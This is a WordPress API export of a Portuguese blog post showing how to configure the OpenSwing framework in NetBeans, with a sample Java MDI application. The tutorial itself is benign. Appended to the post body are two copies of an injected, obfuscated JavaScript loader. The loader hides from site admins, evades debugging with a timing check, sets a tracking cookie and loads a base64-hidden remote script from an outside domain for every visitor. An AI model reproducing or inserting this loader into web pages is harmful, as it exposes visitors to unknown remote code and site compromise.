{"id":367,"date":"2010-09-20T00:52:45","date_gmt":"2010-09-20T03:52:45","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=367"},"modified":"2025-10-26T22:43:35","modified_gmt":"2025-10-27T01:43:35","slug":"testando-o-openswing","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/20\/testando-o-openswing\/","title":{"rendered":"Testando o OpenSwing"},"content":{"rendered":"<p style=\"text-align: justify;\">Um amigo meu me falou de um framework que ele ouviu falar muito bem para aplica\u00e7\u00f5es desktops chamando <a title=\"OpenSwing\" href=\"http:\/\/oswing.sourceforge.net\" target=\"_blank\" rel=\"noopener\">OpenSwing<\/a>. Fiquei curioso e resolvi testar. Segundo o site, o OpenSwing \u00e9 um conjunto de componentes gr\u00e1ficos avan\u00e7ados de c\u00f3digo aberto baseados no Swing. Al\u00e9m disso, \u00e9 um framework com suporte a binding entre o modelo de dados e componentes baseado em MVC. Parece promissor.<\/p>\n<p style=\"text-align: justify;\">Baixei o <a title=\"Netbeans\" href=\"http:\/\/netbeans.org\/\" target=\"_blank\" rel=\"noopener\">Netbeans<\/a> 6.8 completo (as vers\u00f5es 6.9.x e 7.0 est\u00e3o com problemas ao editar a parte gr\u00e1fica) e o <a title=\"OpenSwing\" href=\"http:\/\/sourceforge.net\/projects\/oswing\/files\/\" target=\"_blank\" rel=\"noopener\">framework<\/a>. Instalei o Netbeans e descompactei o OpenSwing. Apesar da vers\u00e3o no site ser recente, a documenta\u00e7\u00e3o est\u00e1 bastante desatualizada. O Netbeans utilizado na documenta\u00e7\u00e3o \u00e9 o 4.1... muito antigo. Pela especifica\u00e7\u00e3o, os componentes seguem os padr\u00f5es JavaBeans, portanto creio que n\u00e3o deva ser um problema para todas as vers\u00f5es do Netbeans e outras IDEs. Vamos aos passos para configura\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">Inicie o Netbeans, crie um novo projeto: clique em File, New Project, Java Application, Next. Eu n\u00e3o selecionei o Java Desktop Application porque ele utiliza o Swing Application Framework <a title=\"JSR-296\" href=\"http:\/\/jcp.org\/en\/jsr\/detail?id=296\" target=\"_blank\" rel=\"noopener\">JSR-296<\/a> (n\u00e3o \u00e9 o Swing!). Esse framework est\u00e1 inativo pela JCP. Em Project Name, coloque um nome, no meu caso coloquei: TestOpenSwing. Desmarque a op\u00e7\u00e3o de criar uma classe Main (Create Main Class). Clique em Finish.<\/p>\n<p style=\"text-align: justify;\">Selecione Tools, Libraries, New Library. Coloque um nome, como OpenSwing e pressione OK. Clique em Add JAR\/Folder. Selecione todos os jars da pasta build do OpenSwing e pressione OK.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_369\" aria-describedby=\"caption-attachment-369\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-LibraryManager.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-369 \" title=\"Library Manager\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-LibraryManager-300x216.png\" alt=\"Library Manager\" width=\"300\" height=\"216\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-LibraryManager-300x216.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-LibraryManager.png 666w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-369\" class=\"wp-caption-text\">Library Manager<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Biblioteca configurada! Agora vamos adicionar os componentes \u00e0 palheta. Selecione Tools, Palette, Swing\/AWT Components. Clique em New Category e nomeie: OpenSwing. Selecione a categoria criada e clique Add from Library. Selecione OpenSwing, Next, marque todos, Next, selecione OpenSwing, Finish e Close.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_371\" aria-describedby=\"caption-attachment-371\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-PaletteManager.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-371 \" title=\"Palette Manager\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-PaletteManager-300x289.png\" alt=\"Palette Manager\" width=\"300\" height=\"289\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-PaletteManager-300x289.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-PaletteManager.png 445w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-371\" class=\"wp-caption-text\">Palette Manager<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Outra configura\u00e7\u00e3o recomendada \u00e9 alterar o comportamento do designer do Netbeans ao trabalhar com grid control. Para isso, selecione Tools, Options, Miscellaneous, GUI Builder, Altere o Layout Generation Style para Standard Java 6 Code e pressione OK. Configura\u00e7\u00f5es na IDE feitas, vamos \u00e0 configura\u00e7\u00e3o do Projeto e cria\u00e7\u00e3o de uma aplica\u00e7\u00e3o exemplo. Clique com o bot\u00e3o direito no seu projeto, Properties, Libraries, Add Library, OpenSwing, Add Library, Ok.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_372\" aria-describedby=\"caption-attachment-372\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-ProjectProperties.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-372 \" title=\"Project Properties\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-ProjectProperties-300x207.png\" alt=\"Project Properties\" width=\"300\" height=\"207\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-ProjectProperties-300x207.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-ProjectProperties.png 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-372\" class=\"wp-caption-text\">Project Properties<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Vamos criar um frame <a title=\"MDI\" href=\"http:\/\/pt.wikipedia.org\/wiki\/Interface_de_documentos_m%C3%BAltiplos\" target=\"_blank\" rel=\"noopener\">MDI<\/a>. Para isso \u00e9 necess\u00e1rio criar uma classe que implemente a interface MDIController e pronto. Segue o c\u00f3digo e o screenshot abaixo:<\/p>\n<p>[cc lang=\"java\"]<br \/>\npackage br.com.thiagovespa.samples.openswing;<\/p>\n<p>import java.util.ArrayList;<br \/>\nimport java.util.Hashtable;<br \/>\nimport java.util.Properties;<br \/>\nimport java.util.logging.Level;<br \/>\nimport java.util.logging.Logger;<br \/>\nimport javax.swing.JDialog;<br \/>\nimport javax.swing.JFrame;<br \/>\nimport javax.swing.SwingUtilities;<br \/>\nimport javax.swing.UIManager;<br \/>\nimport javax.swing.UnsupportedLookAndFeelException;<br \/>\nimport javax.swing.tree.DefaultMutableTreeNode;<br \/>\nimport javax.swing.tree.DefaultTreeModel;<br \/>\nimport org.openswing.swing.internationalization.java.BrazilianPortugueseOnlyResourceFactory;<br \/>\nimport org.openswing.swing.internationalization.java.Language;<br \/>\nimport org.openswing.swing.mdi.client.ClientFacade;<br \/>\nimport org.openswing.swing.mdi.client.MDIController;<br \/>\nimport org.openswing.swing.mdi.client.MDIFrame;<br \/>\nimport org.openswing.swing.mdi.java.ApplicationFunction;<br \/>\nimport org.openswing.swing.tree.java.OpenSwingTreeNode;<br \/>\nimport org.openswing.swing.util.client.ClientSettings;<\/p>\n<p>\/**<br \/>\n* Sample App<br \/>\n* @author Thiago Galbiatti Vespa<br \/>\n*\/<br \/>\npublic class MainApplicationMDI implements MDIController {<\/p>\n<p>public MainApplicationMDI() {<br \/>\ntry {<br \/>\nProperties props = System.getProperties();<br \/>\nClientSettings clientSettings = new ClientSettings(new BrazilianPortugueseOnlyResourceFactory(props, false), new Hashtable());<br \/>\nUIManager.setLookAndFeel(UIManager.getCrossPlatformLookAndFeelClassName());<br \/>\nMDIFrame mdi = new MDIFrame(this);<br \/>\n} catch (ClassNotFoundException ex) {<br \/>\nLogger.getLogger(MainApplicationMDI.class.getName()).log(Level.SEVERE, null, ex);<br \/>\n} catch (InstantiationException ex) {<br \/>\nLogger.getLogger(MainApplicationMDI.class.getName()).log(Level.SEVERE, null, ex);<br \/>\n} catch (IllegalAccessException ex) {<br \/>\nLogger.getLogger(MainApplicationMDI.class.getName()).log(Level.SEVERE, null, ex);<br \/>\n} catch (UnsupportedLookAndFeelException ex) {<br \/>\nLogger.getLogger(MainApplicationMDI.class.getName()).log(Level.SEVERE, null, ex);<br \/>\n}<br \/>\n}<\/p>\n<p>public void afterMDIcreation(MDIFrame frame) {<br \/>\n}<\/p>\n<p>public String getAboutImage() {<br \/>\nreturn null;<br \/>\n}<\/p>\n<p>public String getAboutText() {<br \/>\nreturn \"Esse software foi feito por Thiago Galbiatti Vespa\\n\"<br \/>\n+ \"para demonstrar o uso do Open Swing\";<br \/>\n}<\/p>\n<p>public DefaultTreeModel getApplicationFunctions() {<br \/>\nDefaultMutableTreeNode root = new OpenSwingTreeNode();<br \/>\nDefaultTreeModel model = new DefaultTreeModel(root);<br \/>\nApplicationFunction node1 = new ApplicationFunction(\"Primeira fun\u00e7\u00e3o\", \"primeira\", \"men.gif\", null, \"Esse bot\u00e3o executa a primeira fun\u00e7\u00e3o\");<br \/>\nApplicationFunction node2 = new ApplicationFunction(\"Segunda fun\u00e7\u00e3o\", \"segunda\", \"appicon.gif\", null, \"Esse bot\u00e3o executa a segunda fun\u00e7\u00e3o\");<br \/>\nApplicationFunction node2_1 = new ApplicationFunction(\"Fun\u00e7\u00e3o interna\", \"interna\", \"men.gif\", null, \"Esse bot\u00e3o executa a fun\u00e7\u00e3o interna\");<br \/>\nnode2.add(node2_1);<br \/>\nroot.add(node1);<br \/>\nroot.add(node2);<br \/>\nreturn model;<br \/>\n}<\/p>\n<p>public ClientFacade getClientFacade() {<br \/>\nthrow new UnsupportedOperationException(\"Not supported yet.\");<br \/>\n}<\/p>\n<p>public int getExtendedState() {<br \/>\nreturn JFrame.MAXIMIZED_BOTH;<br \/>\n}<\/p>\n<p>public ArrayList getLanguages() {<br \/>\nArrayList list = new ArrayList();<br \/>\nlist.add(new Language(\"PT_BR\", \"Portugu\u00eas do Brasil\"));<br \/>\nreturn list;<br \/>\n}<\/p>\n<p>public String getMDIFrameTitle() {<br \/>\nreturn \"Aplica\u00e7\u00e3o Exemplo do Open Swing\";<br \/>\n}<\/p>\n<p>public void stopApplication() {<br \/>\nSystem.exit(0);<br \/>\n}<\/p>\n<p>public boolean viewChangeLanguageInMenuBar() {<br \/>\nreturn true;<br \/>\n}<\/p>\n<p>public boolean viewFileMenu() {<br \/>\nreturn true;<br \/>\n}<\/p>\n<p>public boolean viewFunctionsInMenuBar() {<br \/>\nreturn true;<br \/>\n}<\/p>\n<p>public boolean viewFunctionsInTreePanel() {<br \/>\nreturn true;<br \/>\n}<\/p>\n<p>public JDialog viewLoginDialog(JFrame parentFrame) {<br \/>\nreturn null;<br \/>\n}<\/p>\n<p>public boolean viewLoginInMenuBar() {<br \/>\nreturn false;<br \/>\n}<\/p>\n<p>public boolean viewOpenedWindowIcons() {<br \/>\nreturn true;<br \/>\n}<\/p>\n<p>public static void main(String[] args) {<br \/>\nSwingUtilities.invokeLater(new Runnable() {<br \/>\npublic void run() {<br \/>\nnew MainApplicationMDI();<br \/>\n}<br \/>\n});<br \/>\n}<br \/>\n}<br \/>\n[\/cc]<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_376\" aria-describedby=\"caption-attachment-376\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Aplica\u00e7\u00e3oExemplodoOpenSwing1.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-376 \" title=\"Aplica\u00e7\u00e3o Exemplo do OpenSwing\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Aplica\u00e7\u00e3oExemplodoOpenSwing1-300x176.png\" alt=\"Aplica\u00e7\u00e3o Exemplo do OpenSwing\" width=\"300\" height=\"176\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Aplica\u00e7\u00e3oExemplodoOpenSwing1-300x176.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Aplica\u00e7\u00e3oExemplodoOpenSwing1-1024x603.png 1024w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Aplica\u00e7\u00e3oExemplodoOpenSwing1.png 1440w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-376\" class=\"wp-caption-text\">Aplica\u00e7\u00e3o Exemplo do OpenSwing<\/figcaption><\/figure>\n<p>Esse \u00e9 um exemplo simples, para exemplos completos, consulte a pasta srcdemo do OpenSwing.<\/p>\n<p style=\"text-align: justify;\">\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Um amigo meu me falou de um framework que ele ouviu falar muito bem para aplica\u00e7\u00f5es desktops chamando OpenSwing. Fiquei curioso e resolvi testar. Segundo o site, o OpenSwing \u00e9 um conjunto de componentes gr\u00e1ficos avan\u00e7ados de c\u00f3digo aberto baseados <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/20\/testando-o-openswing\/\">Continue lendo  <span class=\"screen-reader-text\">  Testando o OpenSwing<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-367","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/367","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=367"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/367\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=367"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=367"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=367"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}